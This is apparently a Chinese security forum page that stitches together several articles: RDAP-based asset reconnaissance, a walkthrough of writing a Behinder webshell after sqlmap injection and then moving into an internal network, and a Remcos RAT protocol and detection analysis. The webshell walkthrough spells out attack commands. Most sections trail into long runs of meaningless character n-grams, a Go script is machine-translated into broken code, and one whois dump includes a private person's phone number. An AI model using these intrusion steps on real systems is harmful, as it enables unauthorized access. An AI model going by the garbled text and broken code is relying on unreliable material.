跳转到帖子

Anonymous Mask

版主
  • 注册日期

  • 上次访问

  1. 使用 RDAP 数据确定资产边界 2024年10月23日马云惹不起马云 倾斜 前言 在传统渗透测试的初始阶段,我们通常依靠域名注册信息、企业业务信息和网络空间映射数据来确定资产所有权。然而,这些方法可能会受到不完整或过时信息的影响。本文介绍了一种精确确定资产范围的创新方法:利用注册数据访问协议(RDAP)。 作为Whois 协议的现代替代品,RDAP 提供更全面、准确和实时的域名注册信息。通过RDAP,我们可以获取域名持有者、管理员联系信息、注册和有效期等关键信息,以更有效地识别和验证目标资产。此外,RDAP的结构化数据格式有利于自动化处理,可以显着提高资产分类的效率。 在接下来的章节中,我们将深入研究如何使用RDAP数据进行资产边界确定,包括查询技术、数据解析方法以及与其他信息源的交叉验证策略。通过掌握这种新方法,安全专业人员可以更全面、更准确地评估目标环境,为后续的渗透测试工作打下坚实的基础。 什么是注册数据访问协议? 注册数据访问协议(RDAP) 是一种用于访问互联网域名注册数据的协议。 RDAP 提供了比传统Whois 协议更安全、更结构化的方式来查询域名、IP 地址和自治系统编号信息。它支持身份验证和授权、国际化和标准化数据格式,旨在解决Whois 协议中的许多限制和缺陷。 注册数据访问协议(RDAP) 的开发始于2011 年,由互联网工程任务组(IETF) 开发。 RDAP的目标是取代传统的Whois协议,解决其在安全性、隐私保护、数据格式标准化等方面的不足。 2015年,IETF正式发布了RDAP的相关标准文档,使其成为互联网域名注册数据访问的现代协议。 IANA - 互联网号码分配机构 在讨论RDAP协议之前,我们必须提到IANA(InternetAssignedNumbersAuthority,互联网号码分配机构)。 IANA 是互联网的基石之一,负责全球互联网唯一标识符的分配和协调。其核心功能包括管理DNS根区域、分配IP地址和自治系统编号以及注册互联网协议相关参数。 IANA作为关键技术组织,确保互联网的稳定性和互操作性,让世界各地的用户和信息顺利连接。 中国与IANA的关系主要体现在中国作为全球互联网的重要组成部分,积极参与全球互联网的治理和技术发展。中国通过国家域名注册机构CNNIC(中国互联网络信息中心)参与IANA相关工作,负责中国顶级域名.cn的注册和管理,以及IP地址资源的分配和管理。其他国家也有类似的情况。 2016年,IANA的管理权正式从美国政府转移到全球互联网界。在此过程中,中国作为多方利益攸关方之一参与了相关讨论和决策。因此,我们可以通过IANA披露的信息获取不同国家分配的IP地址范围。 通过RDAP数据获取国家/组织分配的IP范围 RDAP是基于RESTful的Web服务,因此可以通过HTTP协议提供错误代码、用户ID、身份认证和访问控制。我们可以使用简单的Curl工具来访问RDAP数据,而RDAP数据由地区互联网注册机构单独管理。如果我们想要访问中国的网络配置资源,就需要找到对应的服务器。 目前世界上有五个正在运营的区域互联网注册管理机构: 美国互联网号码注册机构(ARIN) 欧洲IP 网络资源协调中心亚太网络信息中心(APNIC) 拉丁美洲和加勒比互联网地址注册机构(LACNIC) 非洲网络信息中心(AfriNIC) 以下简称“信息中心”。 了解完所有前提知识后,我们就可以开始查询全球IPv4地址分配情况了: https://data.iana.org/rdap/ipv4.json 该URL 是IANA 互联网号码分配机构的数据URL。它显示了全球IPv4在不同信息中心的分布情况。我在中国解析的地址是ICANN的,说明应该做一些网络优化。 在响应Json结构中,我们可以首先关注APNIC数据。该部分是指亚太信息中心管理的IP资源,中国地区属于该部分: …… [ '1.0.0.0/8', '14.0.0.0/8', '27.0.0.0/8', '36.0.0.0/8', '39.0.0.0/8', '42.0.0.0/8', '43.0.0.0/8', '49.0.0.0/8', '58.0.0.0/8', '59.0.0.0/8', '60.0.0.0/8', '61.0.0.0/8', '101.0.0.0/8', '103.0.0.0/8', '106.0.0.0/8', '110.0.0.0/8', '111.0.0.0/8', '112.0.0.0/8', '113.0.0.0/8', '114.0.0.0/8', '115.0.0.0/8', '116.0.0.0/8', '117.0.0.0/8', '118.0.0.0/8', '119.0.0.0/8', '120.0.0.0/8', '121.0.0.0/8', '122.0.0.0/8', '123.0.0.0/8', '124.0.0.0/8', '125.0.0.0/8', '126.0.0.0/8', '133.0.0.0/8', '150.0.0.0/8', '153.0.0.0/8', '163.0.0.0/8', '171.0.0.0/8', '175.0.0.0/8', '180.0.0.0/8', '182.0.0.0/8', '183.0.0.0/8', '202.0.0.0/8', '203.0.0.0/8', '210.0.0.0/8', '211.0.0.0/8', '218.0.0.0/8', '219.0.0.0/8', '220.0.0.0/8', '221.0.0.0/8', '222.0.0.0/8', '223.0.0.0/8' ], [ 'https://rdap.apnic.net/' ] ] . APNIC 的RDAP 数据库存储在https://rdap.apnic.net/。如果我们继续在这个URL后面添加上面的IP地址段,我们将得到这些IP的分配信息: 例如查询:223.0.0.0 ⇒ https://rdap.apnic.net/ip/223.0.0.0 . '备注': [ { '描述': [ '北京北龙云海网络数据技术公司', '', '中国北京怀柔' ], '标题': '描述' } ], '链接': [ { '值': 'https://rdap.apnic.net/ip/223.0.0.0', 'rel': '自我', 'href': 'https://rdap.apnic.net/ip/223.0.0.0/15', '类型': '应用程序/rdap+json' }, { '值': 'https://rdap.apnic.net/ip/223.0.0.0', 'rel': '相关', 'href': 'https://netox.apnic.net/search/223.0.0.0%2F15?utm_source=rdaputm_medium=resultutm_campaign=rdap_result', '类型': '文本/html' } ], '状态': [ “活跃” ], '类型': '分配的便携式', '结束地址': '223.1.255.255', 'ip版本': 'v4', '起始地址': '223.0.0.0', 'objectClassName': 'ip 网络', '句柄': '223.0.0.0 - 223.1.255.255', '实体': [ { '角色': [ ‘滥用’ ], “事件”: [ { 'eventAction': '注册', '事件日期': '2021-09-06T08:20:56Z' }, { 'eventAction': '最后更改', '事件日期': '2021-11-02T06:50:00Z' } ], '链接': [ { '值': 'https://rdap.apnic.net/ip/223.0.0.0', 'rel': '自我', 'href': 'https://rdap.apnic.net/entity/IRT-CNBIDCC-CN', '类型': '应用程序/rdap+json' } ] . 看到这里我们就可以很清楚地理解了: IP地址段:223.0.0.0 - 223.1.255.255 企业公司:北京北龙云海网络数据技术公司当然,我们可以查询到的信息还不止这些。我们还可以使用whois查询工具进行查询。数据与我们刚才手动查询的数据基本一致: ╭─arch@archlinux ~ ╰─$ whois 223.0.0.1 % [whois.apnic.net] % Whois 数据版权条款http://www.apnic.net/db/dbcopyright.html % 与“223.0.0.0 - 223.1.255.255”相关的信息 “223.0.0.0 - 223.1.255.255”的滥用联系人为“[emailprotected]” inetnum: 223.0.0.0 - 223.1.255.255 网络名: CNBIDCC descr: 北京北龙云海网络数据技术有限公司 descr: 雁栖经济开发区阳雁路88号 descr: 怀柔, 北京, 中国 国家:CN 管理员-c: YW7200-AP 技术-C: YW7200-AP mnt-by: 维护-CNNIC-AP mnt-lower: 维护-CNNIC-AP mnt-irt: IRT-CNBIDCC-CN mnt-routes: MAINT-CNNIC-AP status: 已分配可移植 最后修改: 2021-11-02T07:48:00Z 来源: APNIC irt: IRT-CNBIDCC-CN 地址: 雁栖经济开发区阳雁路88号 地址: 怀柔, 北京, 中国 电子邮件: [电子邮件保护] 滥用邮箱: [电子邮件保护] 管理员-c: YW7200-AP 技术-C: YW7200-AP auth: #过滤 mnt-by: 维护-CNNIC-AP 最后修改: 2021-11-02T06:50:00Z 来源: APNIC person: 董继农 地址: 雁栖经济开发区阳雁路88号 地址: 北京市怀柔区 国家:CN 电话: +86-13811566856 电子邮件: [电子邮件保护] NIC-HDL: YW7200-AP mnt-by: 维护-CNNIC-AP 最后修改: 2021-11-02T06:43:08Z 来源: APNIC % 此查询由APNIC Whois 服务版本1.88.25 (WHOIS-AU2) 提供服务 如果你读到这里,相信你已经能明白国内一些IP地址查询网站是怎么做的了:站长工具 但为什么有时会无法查询域名呢?我查了一下维基百科,发现了这样一段话:RDAP协议下的注册域名资源的RDAP数据库是在与ICANN达成协议后维护的。由于ICANN 下有大量注册机构,DNS 资源的速度要慢得多。此外,随着2018年5月GDPR的实施,WHOIS和RDAP引发的个人信息泄露问题进一步减慢了应用的速度。所以我们通常会尝试使用whois来查询域名,但是获得的信息有限。 另外,在APNIC附属网站上也提供了可视化查询: APNIC-NETOX 摘要 在本文中,描述了一种使用注册数据访问协议(RDAP) 准确确定资产边界的方法。 RDAP 是Whois 协议的现代替代品,提供更全面、实时的域名注册信息,可以帮助安全专业人员更有效地识别和验证目标资产。文章详细探讨了RDAP的功能、它与IANA和地区互联网注册管理机构的关系,以及如何通过RDAP数据获取一个国家或组织分配的IP地址范围。通过RDAP,用户可以更准确地确定资产所有权,为后续的渗透测试奠定基础。我们还可以将RDAP获得的IP地址范围输入到网络空间映射引擎中,以寻找更多的边缘资产,这对于资产映射和漏洞挖掘非常有帮助。在写这篇文章之前,我尝试搜索了一些规模较大的企业,可以发现很多普通方法无法收集到的IP地址边缘资产和业务系统。 使用 数据 据确 确定 定资 资产 产边 边界 数据确 据确定 确定资 定资产 资产边 产边界 数据确定 据确定资 确定资产 定资产边 资产边界 日马 马云 云惹 惹不 不起 起马 日马云 马云惹 云惹不 惹不起 不起马 起马云 日马云惹 马云惹不 云惹不起 惹不起马 不起马云 倾斜 前言 在传 传统 统渗 渗透 透测 测试 试的 的初 初始 始阶 阶段 在传统 传统渗 统渗透 渗透测 透测试 测试的 试的初 的初始 初始阶 始阶段 在传统渗 传统渗透 统渗透测 渗透测试 透测试的 测试的初 试的初始 的初始阶 初始阶段 我们 们通 通常 常依 依靠 靠域 域名 名注 注册 册信 信息 我们通 们通常 通常依 常依靠 依靠域 靠域名 域名注 名注册 注册信 册信息 我们通常 们通常依 通常依靠 常依靠域 依靠域名 靠域名注 域名注册 名注册信 注册信息 企业 业业 业务 务信 息和 和网 网络 络空 空间 间映 映射 射数 据来 来确 产所 所有 有权 企业业 业业务 业务信 务信息 信息和 息和网 和网络 网络空 络空间 空间映 间映射 映射数 射数据 数据来 据来确 来确定 资产所 产所有 所有权 企业业务 业业务信 业务信息 务信息和 信息和网 息和网络 和网络空 网络空间 络空间映 空间映射 间映射数 映射数据 射数据来 数据来确 据来确定 来确定资 定资产所 资产所有 产所有权 然而 这些 些方 方法 法可 可能 能会 会受 受到 到不 不完 完整 整或 或过 过时 时信 息的 的影 影响 这些方 些方法 方法可 法可能 可能会 能会受 会受到 受到不 到不完 不完整 完整或 整或过 或过时 过时信 时信息 信息的 息的影 的影响 这些方法 些方法可 方法可能 法可能会 可能会受 能会受到 会受到不 受到不完 到不完整 不完整或 完整或过 整或过时 或过时信 过时信息 时信息的 信息的影 息的影响 本文 文介 介绍 绍了 了一 一种 种精 精确 确确 产范 范围 围的 的创 创新 新方 本文介 文介绍 介绍了 绍了一 了一种 一种精 种精确 精确确 确确定 资产范 产范围 范围的 围的创 的创新 创新方 新方法 本文介绍 文介绍了 介绍了一 绍了一种 了一种精 一种精确 种精确确 精确确定 确确定资 定资产范 资产范围 产范围的 范围的创 围的创新 的创新方 创新方法 利用 用注 册数 据访 访问 问协 协议 利用注 用注册 注册数 册数据 数据访 据访问 访问协 问协议 利用注册 用注册数 注册数据 册数据访 数据访问 据访问协 访问协议 作为 议的 的现 现代 代替 替代 代品 协议的 议的现 的现代 现代替 代替代 替代品 协议的现 议的现代 的现代替 现代替代 代替代品 提供 供更 更全 全面 提供更 供更全 更全面 提供更全 供更全面 准确 确和 和实 实时 时的 的域 准确和 确和实 和实时 实时的 时的域 的域名 准确和实 确和实时 和实时的 实时的域 时的域名 的域名注 通过 们可 可以 以获 获取 取域 名持 持有 有者 我们可 们可以 可以获 以获取 获取域 取域名 域名持 名持有 持有者 我们可以 们可以获 可以获取 以获取域 获取域名 取域名持 域名持有 名持有者 管理 理员 员联 联系 系信 管理员 理员联 员联系 联系信 系信息 管理员联 理员联系 员联系信 联系信息 册和 和有 有效 效期 期等 等关 关键 键信 注册和 册和有 和有效 有效期 效期等 期等关 等关键 关键信 键信息 注册和有 册和有效 和有效期 有效期等 效期等关 期等关键 等关键信 关键信息 以更 更有 效地 地识 识别 别和 和验 验证 证目 目标 标资 以更有 更有效 有效地 效地识 地识别 识别和 别和验 和验证 验证目 证目标 目标资 标资产 以更有效 更有效地 有效地识 效地识别 地识别和 识别和验 别和验证 和验证目 验证目标 证目标资 目标资产 此外 的结 结构 构化 化数 据格 格式 式有 有利 利于 于自 自动 动化 化处 处理 的结构 结构化 构化数 化数据 数据格 据格式 格式有 式有利 有利于 利于自 于自动 自动化 动化处 化处理 的结构化 结构化数 构化数据 化数据格 数据格式 据格式有 格式有利 式有利于 有利于自 利于自动 于自动化 自动化处 动化处理 以显 显着 着提 提高 高资 产分 分类 类的 的效 效率 可以显 以显着 显着提 着提高 提高资 高资产 资产分 产分类 分类的 类的效 的效率 可以显着 以显着提 显着提高 着提高资 提高资产 高资产分 资产分类 产分类的 分类的效 类的效率 在接 接下 下来 来的 的章 章节 节中
  2. ## **前言:** 我在做hvv管理的时候遇到了这个问题。这里我以射击场作为演示,给大家提供一个sqlmap注入后查找网站绝对路径的思路。 ## **文本:** 前提条件:sqlmap注入可以使用os-shell并且有DBA权限。 ### **01** **os-shell查找网站的绝对路径** fsutil fsinfo drivers //先查看系统有哪些磁盘 这里可以找到一张图片,然后使用find命令找到它的路径(这里我选择查找网站的背景图片)。 目录/a /s /b C:\| findstr \'loginbg.jpg\' 111.txt //在C盘查找loginbg.jpg输入111.txt,返回空,说明网站根目录不在C盘 目录/a /s /b D:\| findstr \'loginbg.jpg\' 111.txt //在D盘查找loginbg.jpg类型111.txt。目录猜测是1和2成功找到。我选择写入D:\xxx\Content\image目录 ### **02** **os-shell写入Ice Scorpion不杀马** 1、Base64对Ice Scorpion webshell进行加密,分成4段进行传输。 2、解密冰蝎马certutil -decode D:\xxx\Content\images\Test.txt D:\xxx\Content\images\text2.aspx //第一个路径是写入webshell的txt的绝对路径,第二个路径是生成冰蝎马的路径(必须在网站的绝对路径下)。我之前解密过一次,所以提示文件存在。 3.访问webshell,Bingscorpion成功写入网站 4.连接webshell ### **03** **内网** 之后,通过游戏获得在线CS,不杀马是一件简单的事情。 扫描内网段,发现了nacos。密码很弱。我直接读取数据库密码并连接数据库。 好家伙,内网还有海康威视文件上传、传马、在线CS。 转载自freebuf:[https://www.freebuf.com/articles/web/390081.html](https://www.freebuf.com/articles/web/390081.html) 作者:轩智安全实验室 前言 我在 在做 我在做 管理 理的 的时 时候 候遇 遇到 到了 了这 这个 个问 问题 管理的 理的时 的时候 时候遇 候遇到 遇到了 到了这 了这个 这个问 个问题 管理的时 理的时候 的时候遇 时候遇到 候遇到了 遇到了这 到了这个 了这个问 这个问题 这里 里我 我以 以射 射击 击场 场作 作为 为演 演示 这里我 里我以 我以射 以射击 射击场 击场作 场作为 作为演 为演示 这里我以 里我以射 我以射击 以射击场 射击场作 击场作为 场作为演 作为演示 给大 大家 家提 提供 供一 一个 给大家 大家提 家提供 提供一 供一个 给大家提 大家提供 家提供一 提供一个 注入 入后 后查 查找 找网 网站 站绝 绝对 对路 路径 径的 的思 思路 注入后 入后查 后查找 查找网 找网站 网站绝 站绝对 绝对路 对路径 路径的 径的思 的思路 注入后查 入后查找 后查找网 查找网站 找网站绝 网站绝对 站绝对路 绝对路径 对路径的 路径的思 径的思路 文本 前提 提条 条件 前提条 提条件 前提条件 入可 可以 以使 使用 注入可 入可以 可以使 以使用 注入可以 入可以使 可以使用 并且 且有 并且有 权限 站的 的绝 网站的 站的绝 的绝对 找网站的 网站的绝 站的绝对 的绝对路 先查 查看 看系 系统 统有 有哪 哪些 些磁 磁盘 先查看 查看系 看系统 系统有 统有哪 有哪些 哪些磁 些磁盘 先查看系 查看系统 看系统有 系统有哪 统有哪些 有哪些磁 哪些磁盘 里可 以找 找到 到一 一张 张图 图片 这里可 里可以 可以找 以找到 找到一 到一张 一张图 张图片 这里可以 里可以找 可以找到 以找到一 找到一张 到一张图 一张图片 然后 后使 然后使 后使用 然后使用 命令 令找 到它 它的 的路 命令找 令找到 找到它 到它的 它的路 的路径 命令找到 令找到它 找到它的 到它的路 它的路径 我选 选择 择查 的背 背景 景图 里我选 我选择 选择查 择查找 站的背 的背景 背景图 景图片 这里我选 里我选择 我选择查 选择查找 择查找网 网站的背 站的背景 的背景图 背景图片 目录 盘查 盘查找 输入 返回 回空 返回空 说明 明网 站根 根目 录不 不在 说明网 明网站 网站根 站根目 根目录 目录不 录不在 说明网站 明网站根 网站根目 站根目录 根目录不 目录不在 类型 录猜 猜测 测是 目录猜 录猜测 猜测是 目录猜测 录猜测是 成功 功找 成功找 功找到 成功找到 择写 写入 选择写 择写入 我选择写 选择写入 不杀 杀马 不杀马 进行 行加 加密 进行加 行加密 进行加密 分成 段进 行传 传输 段进行 进行传 行传输 段进行传 进行传输 解密 密冰 冰蝎 蝎马 解密冰 密冰蝎 冰蝎马 解密冰蝎 密冰蝎马 第一 个路 径是 是写 第一个 一个路 个路径 路径是 径是写 是写入 第一个路 一个路径 个路径是 路径是写 径是写入 第二 二个 是生 生成 成冰 马的 第二个 二个路 径是生 是生成 生成冰 成冰蝎 蝎马的 马的路 第二个路 二个路径 路径是生 径是生成 是生成冰 生成冰蝎 成冰蝎马 冰蝎马的 蝎马的路 马的路径 必须 须在 在网 径下 必须在 须在网 在网站 路径下 必须在网 须在网站 在网站的 对路径下 我之 之前 前解 密过 过一 一次 我之前 之前解 前解密 解密过 密过一 过一次 我之前解 之前解密 前解密过 解密过一 密过一次 所以 以提 提示 示文 文件 件存 存在 所以提 以提示 提示文 示文件 文件存 件存在 所以提示 以提示文 提示文件 示文件存 文件存在 访问 功写 入网 成功写 功写入 写入网 入网站 成功写入 功写入网 写入网站 连接 内网 之后 通过 过游 游戏 戏获 获得 得在 在线 通过游 过游戏 游戏获 戏获得 获得在 得在线 通过游戏 过游戏获 游戏获得 戏获得在 获得在线 马是 是一 一件 件简 简单 单的 的事 事情 杀马是 马是一 是一件 一件简 件简单 简单的 单的事 的事情 不杀马是 杀马是一 马是一件 是一件简 一件简单 件简单的 简单的事 单的事情 扫描 描内 网段 扫描内 描内网 内网段 扫描内网 描内网段 发现 现了 发现了 密码 码很 很弱 密码很 码很弱 密码很弱 我直 直接 接读 读取 取数 数据 据库 库密 码并 并连 接数 我直接 直接读 接读取 读取数 取数据 数据库 据库密 库密码 密码并 码并连 并连接 连接数 接数据 我直接读 直接读取 接读取数 读取数据 取数据库 数据库密 据库密码 库密码并 密码并连 码并连接 并连接数 连接数据
  3. 文章长度:0太短了,请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源
  4. 文章长度:0太短了,请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源
  5. 文章长度:0太短了,请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源
  6. 文章长度:0太短了,请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源
  7. 文章长度:0太短了,请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源
  8. 文章长度:0太短了,请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源
  9. ## 概述 近日,我在浏览网络上的威胁情报信息时,无意中发现不少APT组织利用Remcos商业木马作为远程控制程序来窃取数据。因此,笔者尝试了解并利用Remcos商业木马。在模拟使用过程中,我发现这个商业木马确实很好用,目前正在维护更新中。难怪它受到许多APT组织的青睐。 基于“既然Remcos商业木马受到众多APT组织的青睐,网络中必然存在更多的Remcos商业木马的使用案例,因此围绕Remcos商业木马进行攻防技术的研究绝对是有意义的”。笔者从以下几个角度对Remcos商业木马进行了分析: - 梳理Remcos商业木马历史版本的升级迭代,发现每次大版本升级都会伴随着木马通信模型的升级和优化; - 对Remcos商业木马最新版本的通信模型进行梳理和分析; - 从防御者的角度分析了Remcos商业木马的配置文件提取、通信包解密等核心技术点,并对Remcos商业木马的加密通信识别提出了思考; - 为了更好的辅助分析Remcos商业木马的命令通信模型,模拟构建了Remcos商业木马的控制程序,可以重现Remcos商业木马的通信模型,也可以重现单个命令号的具体响应行为; 相关Remcos商业木马用法如下: ## Remcos历史版本通信模型 为了更好地了解Remcos远程控制的历史通信模型,笔者查阅了大量资料,并从以下几个角度进行了尝试: - 搜索网络上可用程序的历史版本:基本上没有找到可用的历史版本,并且github上发布的一些程序无法运行。感觉像是一个钓鱼木马(未实际验证)。 - 查看网上关于Remcos木马的分析报告:对网络通信模型的分析很少,只能三言两语拼凑出来。 - 查看Remcos官网对Remcos遥控版的说明:有详细说明,但没有实际配置图片。 结合各类资料,笔者整理了Remcos远程控制的通信模型。排序情况如下: 相关截图如下: - v1.0版本更新说明 - v1.7版本Agent网络连接配置(图片来自网络) - v2.0.0版本更新说明 - RC4算法加密通讯连接(网络报道截图) - 无加密算法的明文通信模式下的通信数据包截图 - 使用加密算法的加密通信模式下的通信数据包截图 - v3.0.0版本更新说明 - v4.0.0版本Agent网络连接配置(官网图片) - v4.9.3版本Agent网络连接配置(官网免费版实际运行截图) ## Remcos-v4.9.3 通信模型回顾 尝试从官网下载最新的免费版Remcos远程控制程序,深入研究其通信模型,发现该版本支持两种通信模型: - TLS1.3通信协议:使用TLS协议对数据进行加密和传输; - 套接字连接:使用TCP协议以明文形式传输数据; ### TLS1.3通信协议模型 在最新免费版Remcos远程控制程序中配置TLS1.3通信协议模型时,需要手动填写密码**(注:通过查看TLS1.3通信协议原理,发现TLS1.3不需要手动填写密码,因此推测该密钥主要用于TLS1.3通信链路建立后的数据验证)**。 相关截图如下: ###socket套接字通信模型 在最新免费版Remcos远程控制程序中配置socket通信协议模型时,只需取消“安全连接(TLS1.3)”选项即可。 相关截图如下: 通过分析通信数据包格式,整理通信数据格式如下: ```` #数据包1 24 04 ff 00 #固定魔法值 0c 00 00 00 #后续有效数据大小 01 00 00 00 #有效数据指令号 30 7c 1e 1e 1f 7c 33 30 #有效数据-数据加载 #数据包2 24 04 ff 00 #固定魔法值 64 00 00 00 #后续有效数据大小 4c 00 00 00 #有效数据指令号 #有效的数据-数据负载 30 7c 1e 1e 1f 7c #分隔符“|.|” 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 61 00 64 00 6d 00 69 00 6e 00 5c 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 5c 00 72 00 65 00 6d 00 63 00 6f 00 73 00 5f 00 62 00 2e 00 65 00 78 00 65 00 7c 1e 1e 1f 7c #分隔符“|.|” 36 33 7c 1e 1e 1f 7c #分隔符“|.|” 39 38 36 37 30 35 32 33 ```` 相关截图如下: ## 攻防技术对抗 为了更好地对Remcos远程控制程序进行攻防对抗和预警发现,笔者准备从取证分析的角度对该远程控制程序的Agent端木马进行分析: - 木马配置信息提取:由于该样本为商用遥控器,因此可以在网络上查询其背景、功能等信息。无需分析样品即可有效获得相关信息。唯一需要分析提取的就是木马外部链接地址信息。 - 木马通信解密尝试:通过解密木马通信,可以有效提取攻击者在攻击过程中执行的所有操作;由于该样本使用的是TLS1.3通信协议,因此笔者之前并没有尝试过基于TLS1.3通信协议来解密该木马。因此,目前还没有什么好的办法从取证取证的角度来解密通信,所以笔者在这里只能对TLS1.3做一个简单的对比介绍。 - 木马加密通信识别:由于该样本的通信数据暂时无法解密,因此只能从加密数据的角度检测识别该样本的通信行为。因此,作者从加密流量预警识别的角度提出了一种检测识别思路(仅供参考)。 ### RAT练习 通过对Remcos远程控制程序的使用分析,我们发现Remcos远程控制程序的整体操作确实非常人性化、流畅。经过7年官方的升级迭代,支持的指令也非常丰富;因为使用的是免费版本,Agent运行后会弹出一个小框,所以这个版本更多的是为了演示效果。 代理运行截图: 控制端运行截图如下: ###配置信息解密 通过分析发现,Agent样本运行后,会从“SETTINGS”资源段中读取并解密配置信息。配置信息包括:外链IP、外链端口等配置项。 配置信息解密过程如下: - 从“SETTINGS”资源段读取第一个字节。该字节是下一个RC4密钥的大小; - 根据RC4密钥的大小读取RC4密钥负载; - 读取后续的payload,并将其作为实际的加密配置信息数据; - 使用RC4密钥解密实际加密的配置信息数据; **注:在分析过程中,笔者查看了网络上的分析报告,发现不同报告中的不同Remcos版本均采用了相同的配置信息加密方式。因此,笔者推测Remcos的所有历史版本到最新版本都采用了统一的配置信息加密方式。 ** Remcos-v4.9.3远程控制程序Agent端木马代码截图如下: 加密配置信息数据: 解密配置信息数据: ####解密脚本工具 为了实现快速解密,可以基于CyberChef工具或者编写解密脚本来解密“SETTINGS”资源段: - CyberChef工具:需要手动提取RC4密钥和payload,然后解密; - 编写解密脚本:可实现自动解密; ```` 包主 导入( \'加密/rc4\' \'fmt\' \'io/ioutil\' ) 函数主() { file_in :=\'C:\Users\admin\Desktop\remcos_a_SETTINGS\' 文件数据,错误:=ioutil.ReadFile(file_in) 如果错误!=nil { fmt.Println(\'读取文件:时出错\', err) 返回 } key_len :=文件数据[0] 键:=文件数据[1 : key_len+1] 密文:=文件数据[key_len+1:] //创建解密器 解密,错误:=rc4.NewCipher(key) 如果错误!=nil { 恐慌(错误) } //解密密文 解密文本:=make([]byte, len(cipherText)) decipher.XORKeyStream(decryptedText, cipherText) ioutil.WriteFile(file_in+\'解密\',decryptedText,0664) } ```` ### 通信解密尝试? 笔者在分析该木马加密通信数据的过程中,发现其与常规TLS解密的几个不同点: - 该木马的通讯数据中没有证书数据; - 使用的密钥套件没有DH算法; 由于作者从来没有比较过TLS1.3和TLS1.2的区别,所以在通信解密阶段走了很多弯路但失败了。我使用了多种方法对通信数据进行解密,发现无法解密成功。 相关截图如下: #### TLS1.3 和TLS1.2 的区别 通过查询网络中《[SSL/TLS、对称加密和非对称加密和TLSv1.3](https://tinychen.com/20200602-encryption-intro/)》的信息,我们发现TLS1.3不仅对通信数据进行了加密,而且对握手阶段的数据也进行了加密。 相关对比截图如下: #### TLS1.3和TLS1.2之间的通信解密 尝试构建一个程序来模拟TLS1.3和TLS1.2通信,研究TLS1.3和TLS1.2的通信解密方法如下: - TLS1.2通信数据中,如果使用的密钥套件没有DH算法,可以使用CLIENT_RANDOM形式的私钥或Master-Secret进行解密; - TLS1.2通信数据中,如果使用的密钥套件具有DH算法,则只能使用CLIENT_RANDOM形式的Master-Secret进行解密; - TLS1.3通信数据中,虽然使用的密钥套件没有DH算法,但由于密钥握手阶段使用了DH算法,因此无法使用私钥进行解密; - TLS1.3通信数据中,由于握手阶段的数据也是加密的,因此无法使用CLIENT_RANDOM形式的Master-Secret进行解密; - TLS1.3通信数据中,需要使用CLIENT_HANDSHAKE_TRAFFIC_SECRET、SERVER_HANDSHAKE_TRAFFIC_SECRET、CLIENT_TRAFFIC_SECRET_0、SERVER_TRAFFIC_SECRET_0形式的Master-Secret进行解密; 《TLS1.2-私钥解密》相关截图: 《TLS1.2-CLIENT_RANDOM形式的Master-Secret解密》相关截图: “TLS1.3-CLIENT_HANDSHAKE_TRAFFIC_SECRET、SERVER_HANDSHAKE_TRAFFIC_SECRET、CLIENT_TRAFFIC_SECRET_0、SERVER_TRAFFIC_SECRET_0形式的Master-Secret解密”相关截图: ### 加密通讯识别? 由于该样本的通信数据暂时无法解密,因此只能从加密数据的角度检测识别该样本的通信行为。通过对比socket通信流程和TLS1.3通信流程,发现加密通信可以从以下几个角度来识别: - 加密通信采用TLS1.3通信协议; - 通信过程中,Agent端木马仅提供一种密钥套件供密钥套件选择:Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301) - 心跳包会在主会话中循环发起通信,心跳间隔默认为30秒; - 由于心跳数据包有固定范围长度(注:不确定是否是固定长度),因此加密后的数据长度也是固定范围长度; ####socket套接字通信过程 通过分析该样本的通信行为,作者发现Remcos-v4.9.3版本程序的socket通信过程中: - Remcos-v4.9.3版本程序会启动一个主会话来接收远程控制命令和心跳数据(默认心跳间隔为30秒); 概述 近日 我在 在浏 浏览 览网 网络 络上 上的 的威 威胁 胁情 情报 报信 信息 息时 我在浏 在浏览 浏览网 览网络 网络上 络上的 上的威 的威胁 威胁情 胁情报 情报信 报信息 信息时 我在浏览 在浏览网 浏览网络 览网络上 网络上的 络上的威 上的威胁 的威胁情 威胁情报 胁情报信 情报信息 报信息时 无意 意中 中发 发现 现不 不少 无意中 意中发 中发现 发现不 现不少 无意中发 意中发现 中发现不 发现不少 组织 织利 利用 组织利 织利用 组织利用 商业 业木 木马 马作 作为 为远 远程 程控 控制 制程 程序 序来 来窃 窃取 取数 数据 商业木 业木马 木马作 马作为 作为远 为远程 远程控 程控制 控制程 制程序 程序来 序来窃 来窃取 窃取数 取数据 商业木马 业木马作 木马作为 马作为远 作为远程 为远程控 远程控制 程控制程 控制程序 制程序来 程序来窃 序来窃取 来窃取数 窃取数据 因此 笔者 者尝 尝试 试了 了解 解并 并利 笔者尝 者尝试 尝试了 试了解 了解并 解并利 并利用 笔者尝试 者尝试了 尝试了解 试了解并 了解并利 解并利用 在模 模拟 拟使 使用 用过 过程 程中 在模拟 模拟使 拟使用 使用过 用过程 过程中 在模拟使 模拟使用 拟使用过 使用过程 用过程中 我发 现这 这个 个商 马确 确实 实很 很好 好用 我发现 发现这 现这个 这个商 个商业 木马确 马确实 确实很 实很好 很好用 我发现这 发现这个 现这个商 这个商业 个商业木 业木马确 木马确实 马确实很 确实很好 实很好用 目前 前正 正在 在维 维护 护更 更新 新中 目前正 前正在 正在维 在维护 维护更 护更新 更新中 